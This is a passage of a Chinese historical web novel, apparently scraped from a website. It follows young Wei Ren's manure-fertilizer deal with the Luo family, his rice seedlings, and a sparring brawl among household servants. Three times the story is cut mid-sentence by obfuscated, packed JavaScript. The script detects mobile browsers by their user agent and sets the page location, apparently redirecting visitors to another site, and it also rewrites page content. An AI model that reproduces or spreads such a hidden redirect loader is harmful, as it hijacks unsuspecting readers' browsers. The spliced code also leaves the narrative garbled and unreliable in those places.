罗朗对稼穑之事是真的不大通,但仍是仔细听了韦仁的话,越听越觉得韦仁的话有理有据,最重要的是,这事若可行,是能带来切实且巨大利益的! 罗朗的心脏怦怦跳,覆着薄茧的大手一把拉住韦仁的小手,黑黝黝的面庞上腾起不太明显的红晕:“哎呦,那个‘伯牙遇子期’就是我现在的心情了,我与阿仁你是一见如故啊!”能不能成功且不论,罗朗可太喜欢这种不放过任何一丝机会的性子了! 韦仁的手被罗朗好一阵摇晃,怔了一下,韦仁忙把另外一只手搭在罗朗的大手上,用力按了按,同时脸上已经笑出两排小白牙:“闻名不如见面,罗大兄你眼光独到,胸怀广阔,魄力和魅力在同辈中可为佼佼!”还有,你能不能放开我了,你抓我的手就是刚刚你抓干粪的那只手吧? 罗朗和韦仁正在一边互相吹捧,一边在心里“劈里啪啦”地打算盘时,韦世然已经蹭到韦玄成身边,低声问道:“阿翁,五郎冲着罗三兄怪叫是什么意思呀?” 韦玄成:…… 韦玄成曲起手指,食指指节抵在直挺的鼻梁上,笑得无语又无奈,嘴上还得给大儿子解疑:“回去读读《庄子·秋水》就知道了。” 韦玄成和韦世然说话的声音虽不大,但罗江和罗肖的位置又不远,二人耳力也不错,自然听到了。 韦仁和罗朗那里已经没有什么正经话可听了,二人自然把注意力转到了韦玄成和韦世然这边。 罗肖是又气闷又好奇,但他和韦玄成不熟悉,而且他实在看韦家这对兄弟不顺眼,便忍住了没开口问。 罗江没那些乱七八糟的心思,直接问了:“怎么,这里面还有什么典故不成?” 韦玄成摆摆手:“孩子间的玩笑罢了,不好拿到兄面前来说。”说着,韦玄成看向罗肖,“五郎是幺儿,家里便多惯着他些,孩童说话向来无忌,你不要与他计较。” 韦玄成不仅是长辈,名声也好,他肯对罗肖这样解释一句,已经是给足了罗肖,或者说罗家面子,虽然这话怎么听怎么偏心得没边儿了。 罗肖心下不忿,却也不敢与韦玄成甩脸子,对韦玄成揖了一礼:“韦叔父言重了。” 罗肖这边才勉强压下火气,站在一边的韦世然这时突然“哦——”了一声,有韦玄成的提醒,他总算想起来了,韦玄成有给他们讲过那个“小溪里的傻青蛙”的故事,想至此,韦世然匆忙低下头,开始“嗤嗤”笑起来:五郎好坏呀! 纵使韦世然已经低下头,但大家又没瞎,谁看不出来他正在笑,还笑得眉毛眼睛都要飞起来了! 罗肖感觉自己的脑门突突的,一向看到字就头疼的他,原地发誓,回去就去读读那什么《庄子·秋水》! 入夜,罗肖问罗海要书看,喜得罗海以为自家二儿子终于知道要上进时,罗江也正在和罗朗聊天。 罗江瞥一眼心情看起来就很不错的罗朗:“你很看好阿仁?” 罗朗笑嘻嘻地从壶里舀了一碗马奶酒,双手奉到罗江面前,等罗江接了,才说道:“世然咱们很熟了,阿仁确实与我想的不太一样,他和韦叔父一点儿也不像,韦叔父满腹经纶,平易近民,我自是仰慕尊敬,但韦叔父不喜庶务也是真的。阿仁年纪小小,却是敢想敢干,我觉得以后我们可以多来往。” 罗江撂下描金器碗,没好气地说:“就你这占便宜没够的样子,还想人家以后和你多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220048|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来往?往后的事不论,这头三年,你还要占六成,亏你做得出来!”没有韦仁的主意,那些畜粪不过是再白扔三年,现在人家给出了主意,这小子竟然还要占大头! 罗朗给罗江的碗里添了一勺奶酒,为自己辩白:“阿翁这就冤枉儿子了,这是阿仁主动要求的。”眼见着罗江要喷他,罗朗忙解释说,“我看他不太想掺和到这个买卖里,索性让我们拿大头,他图个省心省力。阿翁,阿仁年纪小,可一点儿不傻!” “这倒是,可真是个聪明娃娃。”之前韦玄成夸韦仁聪慧机敏,罗江还以为韦玄成是强撑面子,毕竟韦仁三岁还说不了完整句子时,韦玄成都能睁着眼睛说他家二儿子是“大辩若讷”! 罗江看着罗朗:“你说,你怎么就没个妹妹呢,不然和阿仁凑一对儿,多好啊。” 这种话听多了,罗朗也不以为意,早两年罗江也说要把世然招来做子婿呢,此时见亲爹旧话重提,罗江不接茬,只说自己要说的:“阿翁,阿仁可能听说过二郎的事,我觉得他今天是特意与我提起粪肥的事。” 罗江抿了口奶酒:“怎么?你也觉得那些东西可以让粟米每亩增加两成?” “至少现在不止有一个走商这样说了,一位是学馆先生,一位是韦叔父的师兄,他们总不能随便胡说吧?” “怎么不能?他们不也是看书看来的,要不就是从谁那里听来一两个字。”罗江指指他放在一边的竹简,“这上面还说有种鱼能长到几千里呢,你觉得可能吗?” 罗朗差点儿没被亲爹噎死。 罗江却还没教训完:“知道人什么时候会被骗吗?就是有人塞给你一块儿饼,告诉你里面全是肉,而你只要给他一枚铜钱就可以得到那块肉饼的时候!” 罗朗实在坚持不住,端起漆碗,自己灌了一口奶酒,顺了顺气后才说:“阿翁,阿仁可不是骗子。” “我自然知道。”罗江也只是顺口敲打敲打儿子,免得他被利益迷了眼,罗江的拇指和食指摩挲了两圈儿,正色看向罗朗,“你可想好了,这两年的光景虽然比之前好一点儿,我也可以分些地让你试试,但若搞成二郎那般,这回丢的可不只有咱们三房的脸,而是咱们这一支的脸。” 罗朗不以为意:“这算什么丢脸?要我说,二郎那事本也没什么,丢了两季粮食是可惜,但也没人因为那些粮食就饿死,二郎肯动脑子就比那些坐在祖产上每天混吃等死的人强上百倍。” 罗朗其实对长房夫妻处理这事的方式很不满,但因为是长辈,罗朗也不好多做评价,他也就只说眼前的事:“阿翁,阿仁今天说了一句‘万事开头难’,我觉得这话十分对。粪肥这事牵扯着粮食,不要说三五年,哪怕十年后能稍有进展,咱们罗家在驺县,甚至鲁国的名望都能更上一层楼。” 罗朗可不想一辈子只窝在这小小县城内做个不上不下的财主,他想做官,做大官!而要做官就要有名声,不过拿出十几亩薄田做试验,又不费什么,韦仁把机会都递到他手里了,傻子才不接! 罗朗畅想未来,心潮澎湃! 罗江看罗朗那激动得黑红黑红的脸颊,不知道儿子在想什么,只知道他一定又在想什么美事,特别想给他一巴掌让他清醒清醒。不过,低头看了眼已经只剩一层碗底的奶酒,罗江的巴掌就没扬起来,而是拍了两下桌子:“酒!” 罗朗回过神,乖乖给亲爹的器碗中盛满奶酒。 罗江端起奶酒,一饮而尽,最后一锤定音:“粪肥的事我允了,不过你得先把‘好燃又干净的’……的什么来着?” “好燃又干净的蜂窝柴。” “嗯,就这个,你先把这事办好。”罗江屈指虚点了罗朗两下,告诫道,“我知你必不会只收揽咱们罗家的畜牧场的畜粪,我也不管你要折腾到多远,只有一点,和韦家的账要干净明白,不要因小失大。” 罗朗起身,拱手长揖:“父亲放心,儿子晓得。” 韦仁不知道罗朗和他见了一面,已经打了那许多主意,他只等着第一笔五铢钱进账,到时候就可以去熊家的器肆交定金了。 韦仁还想着是不是让毋忧拿泥巴给他做个浴盆的模型好方便木匠做个参考,就被韦玄成丢来一份功课。 韦玄成把两个儿子叫到跟前:“你们折腾这么多天,今天也和罗家达成合作了,想来该是有些感想的,既如此,四郎五郎,就畜粪这个事,你们每人写一篇文章吧。” 韦仁:? 韦世然磨牙:“韦、仁!” 33.哄 韦世然真是要气死了,戚先生的罚字还没完成,他竟然又要因为韦仁多写一篇文章,韦世然真是恨不能现在就按住韦仁打他一顿屁股! 韦仁都顾不得和韦玄成讨价还价,看着韦世然已经攥紧的拳头,韦仁忙先安抚自家大兄。 韦仁一边抚摸韦世然的胸口给他顺气,一边哄劝:“一篇小小的文章而已,大兄你不是每月都要写的?以你的才能,顺手而已!” 韦世然也不总是那么容易被忽悠的,一把拍掉韦仁的手,韦世然狠狠瞪着韦仁:“这都第几次了?” 先是那个什么复述的学习方法,后来是戚先生罚的一个月大字,现在竟然又多出一篇文章,韦世然最近的学习时间已经比以往延长大半个时辰了。最重要的是,这些事情都发生在短短一个月内,韦世然觉得这日子真是没发过了! 眼见着韦世然眼眶都红了,韦仁也有些心虚,想了想,便扒着韦世然的肩膀,凑到他耳边,低声许诺:“你好好写,这次你写多少个字,我给你多少枚五铢钱。” 韦世然原本还扭着脖子不想搭理韦仁,听闻此言,眼珠子不由转到韦仁脸上:“真的?” “我什么时候骗过大兄?” 韦世然仔细回忆了一下,韦仁好像确实没骗过他,韦世然心里好受了些,不由压低了脑袋,与韦仁凑近了一点:“你哪儿有钱啊?”他一篇文章通常要写三百字呢。 “马上就有了,等罗家卖了那些畜粪,我就能分到钱了。” 韦世然这才想起来,弟弟马上就要变成财主了!韦世然有些羡慕,不过想到自己马上也能进账几百钱,韦世然也挺满足,伸出一只手:“那可说好了?” 韦仁同样伸出一只手,与韦世然击掌为誓:“说好了。” 韦玄成旁观两个儿子重归于好,这才继续说:“给你们一个月的时间,就围绕畜粪的事,写什么都行,一个月后,拿给我看。” 韦世然叹息着应了,虽然有金钱的激励,韦世然其实还是不太想写。 韦仁就更不想写了,所以他就直说了:“阿翁,我进学才一个月,字都没认全,怎么写文章?”韦玄成这完全是欺负他“懂事”,戚先生都还没给他讲过如何写文章,换熊大宝过来,熊大宝绝对能用他那茫然的表情让韦玄成收回前言。 “不是有沈决明帮你写吗?你把想说的告诉他,让他写下来也是一样的。”韦玄成看着韦仁,“你让你大兄写的如何赚钱的那篇文章就很不错。” “那不是文章,只是我准备要做的事。”韦仁坚持拒绝,“再写也不过是把这些天做的事写得再详细些,和那篇没有区别。” “你做了这么多事,就没有点儿想法?” 自然是有的,韦仁最大的想法就是,想要实现财富自由,果然就得先掌握生产资料。 韦玄成看着韦仁眼中显露出的明显的思索意味以及那张似是十分遗憾的下撇的小嘴,试探又期待地问道:“看来是真有想法了,说说看,你想什么了?” 韦仁对上自家亲爹含着笑意的眼睛,嘴一张就把自己的想法秃噜出来了:“阿翁,你什么时候能送我一个畜牧场?”他手里要是有个畜牧场,还有罗家什么事儿啊。 韦玄成:…… 韦玄成好悬没被口水呛到,咳嗽了两声,清干净喉咙,韦玄成一指韦仁:“你……”“你”了半天,韦玄成也没想好接下去的话要说什么,最后一挥袖子,起身走了,留下兄弟二人面面相觑。 韦世然:“五郎,那你的文章还用写吗?” 韦仁:“不用了吧。我才说了一句就把阿翁气跑了,要是详细写我想要多少马牛羊猪鸡鸭鹅、多少亩土地,我害怕把阿翁气病了。” 韦世然觉得韦仁说得有道理,遗憾地叹了口气,早知道他也那么说了,不过想了想,真气到阿翁又不太好,韦世然十分任命地开始思考要如何完成阿翁留下的课业。 畜粪的事暂且告一段落,接下来只要等着罗家给他送钱就好了,宝贝水稻在韦仁心中的地位重新回到第一顺位。 韦仁先看了看几盆补种的秧苗——有几盆大概不是水太少了,就是水太多了,不是全部阵亡,就是只有一半甚至更少的种子成功出苗。韦仁等了它们几天,眼见着栽在其他盆里的秧苗都已经破土而出开始茁壮成长,韦仁才对那些种子死心,让沈决明重新补种了。 除了重点关注的几盆秧苗外,韦仁顺便将其他秧苗也都察看了一遍。 最终,韦仁蹲在标注着“七”的陶盆跟前,指着其中一个嫩绿嫩绿的小苗,问蹲在他身旁的沈决明:“沈决明,你觉不觉得,这棵苗和其他苗长得不太一样?”虽然它们都差不多是一根主干上撇开一瓣叶子,但韦仁就是觉得,这一株有哪里不太一样。 沈决明每天照顾这些秧苗,看得比韦仁还仔细,韦仁问起来,他便也把打算做记录时再与韦仁说的话提前说了:三号盆和十五号盆里也有几株,区别不大,就是明显细弱一点,颜色也浅一些。 韦仁看着沈决明在他手中划出的字,抬起头,突然问了一句:“你不高兴,谁惹你了?” 沈决明愣了一下,他自觉形无异色,不知道韦仁怎么看出来的,一时不知该如何作答。 韦仁点点自己的眉间:“你没发现吗?你这里一直是绷着的。” 沈决明下意识地舒展眉眼,做完这个动作,沈决明才意识到,他眉间真是一直蹙着的。沈决明摇了摇头,拉过韦仁的手在他手心里写道:会是杂草吗? 韦仁:……转移话题可以这样生硬的吗? 沈决明不愿意说,韦仁也不会坚持问,便顺着反问:“你觉得呢?” 沈决明觉得不是,因为有几盆秧苗周围已经长过杂草了,一看就和秧苗长得不一样,沈决明看到后就已经拔了。 植物多能入药,韦仁对植物还算了解,但不是对每种植物的每个生长阶段都了如指掌,这时也有些拿不准。 “也可能就是病弱一点的稻子。”说着,韦仁摸了摸下巴,决定还是谨慎着来,“你拿一个新盆子,把它们移出来单独种。” 沈决明点头,表示记住了。 韦仁撑着膝盖站起身,一边往西厢走,一边双手举高到头顶,一手伸直一手弯折地抻了个懒腰:“今天真是累死我了。”侧过头,韦仁问沈决明,“你前几天到处跑,今天算是休息了一天,怎么样,还累不?” 你都这样问了,我还能说累? 心下腹诽着,沈决明面无表情地摇了摇头。好在,他也确实没觉得累,事实上,自从来了韦家,他虽然天天被韦仁指使着干这干那,但真没觉得累过。 “那就好,明天我下学回家前,你把这些日子记录的稻子观察日志过一遍,把有特殊情况发生的日子标出来,我要看。”韦仁这时已经走到屋门口,突然定住脚步,韦仁看向沈决明,“沈决明,其实,种那些稻子,你出力比我多,要不,你把这个月的总结写了吧?” 沈决明:…… 话一说出口,韦仁愈发觉得这是个好主意,韦仁快步走进屋中,还不忘招呼沈决明:“快进来,我与你说说要写什么。” 韦仁和韦玄成讨价还价时那道理是一套一套的,如今轮到他给沈决明安排“作业”,韦仁就换成了一副不容置疑的口吻。好在韦仁给沈决明派活儿时,向来说得明白,一边说一边帮他把提纲都列好了。 沈决明将韦仁的需求和要点都记好后,犹豫了一下,伸出手指头在书案上开始划字:五郎君,我有事,想,求你。 韦仁有些意外,沈决明一直都是听令行事,几乎没向他主动提过什么要求,韦仁有些好奇:“说呗。” 沈决明想了想,觉得应该交代清楚,便一笔一划地与韦仁讲了事情的前因后果—— 韦仁之前提醒过沈决明最好定期向许靖汇报家僮训练的情况,沈决明把这事放在了心上,便抽空去找了沈常节。 这事对他们姊弟有利,沈常节自然不会反对,两个人便一起商量着写了一份详尽的月度总结,趁着许靖随韦玄成休沐回来,也就是昨天傍晚时,姊弟二人便将那份总结递到了许靖跟前。 许靖看完后,没有过多评价,只是今天将韦玄成一行人送到罗家后,许靖就先行回了韦家,然后把那十个僮人依次叫到跟前和他打了一场。 胜负自然不必说,许靖一对十的车轮战,每一轮都在二十招以内制服对手,而且,十分明显的,许靖根本没用全力。 后来,沈家姊弟联手,也和许靖战了一回,结果也没有意外地输了。 看着沈决明划下的字,结合他的脸色,韦仁猜测着问道:“许叔骂你们了?”韦仁一撸袖子,“这不欺负小孩子吗?你是想求我帮你们骂回去?” 沈决明忙摇了摇头,怕韦仁误会,沈决明划字的速度都提高了:不不不!五郎君,我能请假吗?可能需要两日,之后还要再请假一次。 僮人没有固定假期,基本就是有事了才会临时请假,当然,大部分僮人的时间也比较自由,借着办公事时顺便办了私事,只要不耽误公事,也不会有人追究。 “干什么去?” 沈决明有些犹豫,但韦仁紧盯着他,他能从那双琥珀色的眼睛里看到自己的倒影,能看到里面的询问意味,还能看到一点可能是可以名为“关心”的东西。 沈决明终是挪动食指,在书案上划下字句:我想去石场看看,找石匠打一对石锁。 韦仁对武学是真不大了解,纵使沈决明给他画出了石锁的模样,韦仁看了半天也没看出这玩意儿是个什么东西,问道:“这是干什么用的?” 沈决明:练武。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233015|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你们给家里人教习武艺,没人给你们准备必要的兵器和器具吗?” 沈决明:石管事准备了,不太适合我。 韦仁爽快应道:“行,你去吧。对了,你不会是一个人去吧?” 沈决明摇了摇头:女公子同意的话,大姊同我一起。 “那还好,一定注意安全,不要走小路。” 沈决明见韦仁没提,只得自己先提:笔记和稻米,还有习武的事,怎么办? “你担心这个啊。”韦仁摆摆手,“放心吧,你离开一两天也耽误不了我什么事,有毋忧他们在呢。” 沈决明听了韦仁的话,不禁垂下眸子,唇角的线条也愈发平直。 韦仁没注意,他正倾着身子,探手掀开书案旁的一个方形小盒,韦仁从里面拿出一个木牌递给沈决明:“你去找石大叔,看哪天家里有闲车可用再去,别腿儿着去。穷家富路,拿着这个牌子可以去司计那里预支三个月的月钱,我的也可以。” 沈决明的手里突然被塞了东西,不自觉收紧了手指,木牌很干净,包裹着木牌的清漆有着极少被使用的崭新的光泽,木牌分明的棱角硌着沈决明的手心,有一种实实在在的踏实感。 韦仁托着下巴,打量着沈决明的神色,有些意外地挑起淡淡的小眉毛:“这就被感动到了?沈决明,看来你今天真被许叔挫得不轻呀。” 沈决明才烧起来的耳朵尖被韦仁后半句话浇得冰冰凉凉,原本“咚咚”乱跳的心也安静下来—— 沈决明刚刚没说的是,他们不仅输了,还被许靖批评武艺退步了。 姊弟二人联手输给许靖、训练出来的人那么轻易就被人干趴下,这些沈决明都可以接受,但他不能接受武艺退步的事。他很清楚自己安身立命的本事是什么,若这本事没了,他还能靠什么活呢? 韦仁只是随口一猜,看着沈决明脑瓜顶似有乌云在飘的阴沉样子,韦仁就知道沈决明这死样子多半和许靖脱不开干系。 于是,韦仁就特别手贱地取了一根毛笔,然后往前一伸就向沈决明的鼻孔捅去。 沈决明虽然在出神,也不可能被韦仁偷袭成功,毛笔笔尖距离他的鼻子还有一手距离时,就被沈决明一把握住了。 韦仁是不会和沈决明拼力气的,特别干脆地松开了手,迎上沈决明没来得及收回去的暗沉沉的目光,韦仁不以为意地咧咧嘴,轻笑道:“和你说件许叔的往事。” 沈决明蹙了蹙眉,有些不明所以。 韦仁已经开讲:“许叔有两个徒弟,小徒弟比你大个七八岁吧,那真是天纵奇才,不是我吹,我觉得把十三岁的他叫来与你打,不要说你,你大姊也是打不过的。” 沈决明不置可否,不过仍是被韦仁的话吸引住了。 “有这样一个天才徒弟,哪个师父不珍惜呀?许叔就不,那是两天一顿骂,三天一顿抽,二许,哦,他叫许若,二许虽然天资好,但一点儿不傲,脾气很好的。有一天,许叔又骂了他一顿,说他三天打鱼两天晒网,整整一年没有精进,让他不想练就干脆别练了,哎呀,骂得那叫一个难听。” 韦仁说的最后这句话真是戳到了沈决明的痛点,沈决明的脸色更难看了。 韦仁盯着沈决明快阴出水的脸,若有所思,嘴上也没停:“平时这么骂骂也就算了,二许一般也都会乖乖听着,不巧,那天二许的心情很不好,据说是被喜欢的女娘拒绝了,结果许叔不仅没安慰他,还骂他,二许再乖也撑不住了,然后……” 韦仁稍稍停顿,沈决明的心微微提起来。 韦仁揭开谜底:“他跳河了。” 沈决明惊讶,忍不住在书案上划字:死…… “死”字写了一半,沈决明才意识到这样问不太好,便掩饰似地用手抹了一下什么都没有的案面,重新写道:他没事吧? 韦仁对此倒不怎么在意,直接说道:“他是真想死来着,不过,大概因为天资太好,他第一次下水就无师自通学会了凫水,就又游回来了。自那之后,可能是心疼二许,也可能被吓到了,反正许叔的脾气好了很多。”韦仁耸了耸肩,“不过也无所谓了,二许下了那一次水后,脸皮突然就厚了,比脸皮两丈厚的大许还厚。他后来的口癖就是‘打是亲,骂是爱,恼了性子用脚踹’。” 沈决明:…… “沈决明,许叔不说废话的,他肯骂你们,说明还看好你们,要是个废柴,他连理都不会理。” 韦仁直起身子,看着那片乌云总算飘远了些,这才说:“顺便告诉你,刚刚我说帮你骂回去也是说笑的,许叔不会给我面子的,而且,让我阿翁知道,我得先被捶一顿,你知道的,阿翁最喜欢我了。” 沈决明怔了一下,突然咧开嘴笑了起来,那双乌漆嘛黑的眼瞳里尽是笑意,哪怕无声,韦仁也仿佛听到了笑声。 34.伍长一 接下来的日子,韦仁每天按时上学,放学后就帮戚先生给那片菜地除除草、抓抓虫或者扫扫院子什么的,回到家后则会关照一下秧苗,做完记录后就开始蹲马步,韦仁现在虽然还是坚持不了太久,但马步的姿势比最开始已经标准许多。 总之,韦仁过了一段消停日子。 唯一的插曲是,毋忧、阿桂和石岩从沈决明那里学到了最新的按摩手法——韦仁后来还是觉得没必要舍近求远去求梅先生了,就以语言的艺术让毋忧三人以为那些手法是沈决明的家学,沈决明也如韦仁预料那般没有多嘴。 直到四月中旬,韦仁按照记忆中村里人的样子,亲自动手,自然也少不了君子院众人的帮忙,将已经长高到四寸上下的秧苗们依次自陶盆移栽到了木桶中。 八个大木桶上整整齐齐栽种的秧苗已经可以连点成片,一片翠色入目,简直不能更加赏心悦目。 韦世然这个只是偶尔尝新鲜般地帮忙的人都特别高兴:“五郎,我特别激动,但说不上来为什么激动,就是,看着它们就觉得很高兴!” 韦仁想了想,说道:“看到生命,就是会很高兴。” “什么?” “生命。”韦仁指了指那些秧苗,“我们有生命,牲畜有生命,飞鸟有生命,昆虫有生命,这些秧苗也有生命。” 韦世然眼眸微睁,他以前没想过这个问题,他知道春天花草会长出来,秋冬花草会枯萎,但从没把植物的生命同鸟兽鱼虫联系在一起,自然更不会觉得,植物的“生命”与人类的“生命”是一样的东西。 韦世然恍然:“对哦,它们也是活着的。”韦世然有些好奇,“五郎,你说,它们听得到咱们说话吗?” “我觉得是可以的。” 韦世然就小心翼翼地用沾满泥巴的手指戳了一片叶子:“你们好好长呀,争取多生出些稻米。” 韦仁忍不住乐。 韦世然回头看向韦仁:“让阿翁阿母和大姊也来看看吧?我觉得他们也会喜欢。” 韦仁点头,插完秧也算是阶段性胜利了,是该邀请大家过来欣赏一下。 兄弟二人洗完手后,就手拉着手,先去扫眉院找韦元茹,谁知道韦元茹听到两个弟弟的来意竟是有些不乐意。 韦世然和韦仁都有些失落,这就像你使劲浑身解数做好了一盘菜,你自觉色香味俱全,就想请亲近的人同尝,结果对方连一筷子都不愿意下。 不过韦世然心大,韦仁主意大,二人好说歹说,还是把有些不情愿的韦元茹从一堆贝壳和丝线前拉开,姊弟三人这才联袂去了正院。 正院中,韦玄成跪坐在石榴树形成的阴影中垂首抚琴,琴案旁侧,袅袅青烟正自博山炉中徐徐升起,而赵氏坐在另一侧的帷帐中,单臂斜倚着凭几,双眸半阖,唇瓣含笑地静静倾听。 韦玄成拨弄一根琴弦,缓缓流淌着的琴音中突然混入一拍急而脆的音符,赵氏下意识地睁开眼睛,正好撞上韦玄成投过来的促狭视线。 韦玄成:“哎呀,弹错了。” 赵氏啐他一口,随即红着脸别开视线,眼波流转间尽是欢悦。 三只小电灯泡看到这副情景,六只脚齐齐定在了十丈外。 韦元茹瞪着两个弟弟,没好气地说:“我就说了,阿翁和阿母这时候肯定没空看那些秧苗。” 韦世然看向韦仁,也有些犹豫,声音压得低低的:“五郎,阿翁大概也觉得秧苗没有阿母好看,阿母肯定也觉得阿翁比秧苗好看。” 韦仁呼噜着胳膊,抚平上面立起来的鸡皮疙瘩,看向自家兄姊:“呃,那……原地散了?” 韦元茹和韦世然一起点头。 三人旋转脚跟,才要退出正院,赵氏突然看了过来:“站在那里做什么,过来吧!” 随着赵氏的话音落下,韦玄成也停下了弹琴的动作。 接下来的大半个时辰,韦玄成的独奏会变成了才艺表演,表演的自然是韦元茹姊弟三人,用韦玄成的话来说,就是:“既然来了,总要让父母高兴高兴吧?” 韦仁觉得韦玄成应该是不太高兴,才需要让他们姊弟重新给他带来快乐。 一家五口热闹了许久,眼见着已经快到用午食的时辰,韦玄成才松口放过三个孩子:“好了,说说吧,你们一起过来是做什么的?” 已经打过一套拳、耍过一次木剑、背了一大段《诗经》,还表演了一次爬柱子的韦世然这才反应过来,摸了把头上的汗,兴致勃勃地说道:“阿翁,我们今天插秧了!” 韦玄成想了想,才说道:“是从土里挪到水田里那一步?” “嗯,我们想邀阿翁阿母和大姊去看看,绿油油的,特别好看!” 韦仁没韦世然那么精神,已经有些蔫儿了,歪在韦世然身上,随意摆摆手:“不看也罢、不看也罢。” 赵氏和韦元茹都被韦仁那副半死不活得做作模样逗得不行,韦元茹一边笑一边拿出帕子递给韦仁:“擦擦脸。五郎,你现在不是每天练武吗,怎么还这么弱呀?” 韦元茹是单纯的询问,韦仁就想了想,答道:“大概是因为,我天生就是来享福的。” 一句话惹得全家又是一阵乐,韦玄成揪了揪韦仁的鼻子:“走吧,带我们去看看,看完正好用午食。” 无论是韦玄成、赵氏还是韦元茹都见过大片大片的庄稼地,韦世然眼中“一大片”的秧苗在他们眼中真的很小,不过在家里看到这许多秧苗也很新鲜。 韦玄成将每个木桶中的秧苗都察看了一遍后,问韦仁:“你一直在记录它们的生长过程吧?” 韦仁点头:“是,戚先生给我的建议。” 韦玄成指指韦仁的房间:“去拿一卷给我看看。” 沈决明帮他插秧完就去给僮人训练去了,韦仁只得自己跑回房间取,沈决明记录的相当详细,只一个多月,已经积攒了半个木箱的竹简。韦仁挑了一卷日常的,然后把那卷沈决明才写完没多久的月度总结的竹简也捎上了。 日常那卷韦玄成只扫了一眼就递给了赵氏,他自己则仔细看月度总结的那卷,看了一盏茶的时间,韦玄成才将竹简重新卷好,没有递还给韦仁,而是对着韦仁摇了摇手中的竹简:“我拿去给你凡师伯看看,他也一直惦记着这些稻子呢。” 韦仁倒是无所谓,不过还是问了一句:“阿翁,要不我让沈决明再抄一份,免得你送来送去的?” “不必,你凡师伯看完必要给你批注的。”垂着眸子扫一眼二儿子,韦玄成在他后脑勺上呼了一把,“放心吧,一定给你拿回来。” 众人一边说笑着一边从君子院折返回正院,准备共用午食,不想石伯正带着沈家姊弟和另外十名家僮候在正院门口。 时间回到半个时辰前—— 沈决明忙完君子院的事,就去了西仓——韦家宅邸内靠西面一个放置杂物的院子,将沈常节换下来,亲自盯着僮人们习武。 沈家姊弟教习僮人习武时都是采用以战代学的方式,教完基础或者套路,就让他们一对一对打。 今天也不例外,僮人们随机捉对,依次在场中比拼,每一对打完,沈决明就将点评写在地上,由十人中唯一识字的三禾读给其他人听,必要时,沈决明也会亲自上阵给众人示范。 本来一切都进行的很顺利,意外出现在张望和齐贵对打时。 张望和齐贵一人用刀一人用剑,二人在场中你来我往,交缠数十回合,即使刀剑未开刃,金属激烈碰撞之声仍是听得人热血上头。 又一次交身而过时,齐贵手中的剑猛地刺向张望,张望横刀于胸前,一架一拨就躲过了这一突袭,不仅如此,张望趁着齐贵来不及收手时,伸出右手直劈齐贵手腕! 齐贵手臂一阵酸麻,张望的攻击却还没完,张望左手灵巧翻转,刀把狠狠撞向齐贵手背,齐贵吃痛,松开了手指,铁剑“当啷”一声掉到地上。 张望盯着齐贵,一脚踢开铁剑,手臂一扬将自己的刀也丢到了一边,对齐贵勾了勾手指:“来,继续!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245984|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐贵两颊紧绷,眼角抽动,对着旁边吐了口痰,冲着张望就奔了过去,二人开始肉搏! 谁也说不清齐贵到底是怎么出手的,那种拳拳到肉的“砰砰”声比刀剑相拼还让人血液沸腾,众人光顾着叫好,就连沈决明都因为角度没能及时看到,还是在张望突然跪趴到地面上,双手还捂着短襟下摆时,大家才反应过来发生了什么事。 三禾忙上去查看张望的情况,也有人,比如和张望同住一屋的方三就怒着脸,直冲到齐贵跟前,一把扣住对方肩膀:“你小子下黑手?!” 齐贵挥开方三的手,手背一抹下巴,不屑地说:“他自己不带护裆,赖我?” “你——?!”那玩意儿带着又硌又沉,谁没事儿带着啊! 方三七分的火气被激到十二分,脑袋一热,侧身下腰,一脚就向齐贵的面门踹去! 齐贵抬手要拦,齐富已经挡在他面前,竖着手臂硬接下方三这一击,齐富连退数步,都顾不上手臂的疼痛,大吼:“有话好好说!” “说个屁!对自己人下手的杂种,看我今天不好好教训他!” 齐富压着心头的火气,还想劝方三,齐贵已经在他身后大喊:“我怕你?来啊!看谁教训谁?!” 齐富回头狠狠盯着自家这个不省心的弟弟,特别想自己先给这臭小子一脚,结果右肩突然一阵剧痛,齐富反射般地想活动一下肩膀,愕然发现已经动不了了! 下一刻,一个纤瘦的背影出现在他的视野中,然后这个背影以极快的速度移动到齐贵身边,齐贵“啊——”地一声惨叫,两只手臂几乎不分先后地被沈决明给卸了。 沈决明侧转过身,视线依次扫过齐贵、齐富和方三,然后半蹲下-身,在地上划了三个字:还打吗? 三禾这时候刚好过来,想问沈决明要不要先把张望送回去,就看到沈决明写的字,顺口就替他读了:“决明问你们还打吗?” 齐富齐贵方三:……还打什么呀,胳膊都动不了了。 三人中要数齐富最冤枉,他是在劝架好不好?余光看一眼仍是满脸不服的齐贵,齐富暗叹了口气,对沈决明弯腰,说道:“这次是齐贵下手没轻重,决明你怎么罚,我们都认。” 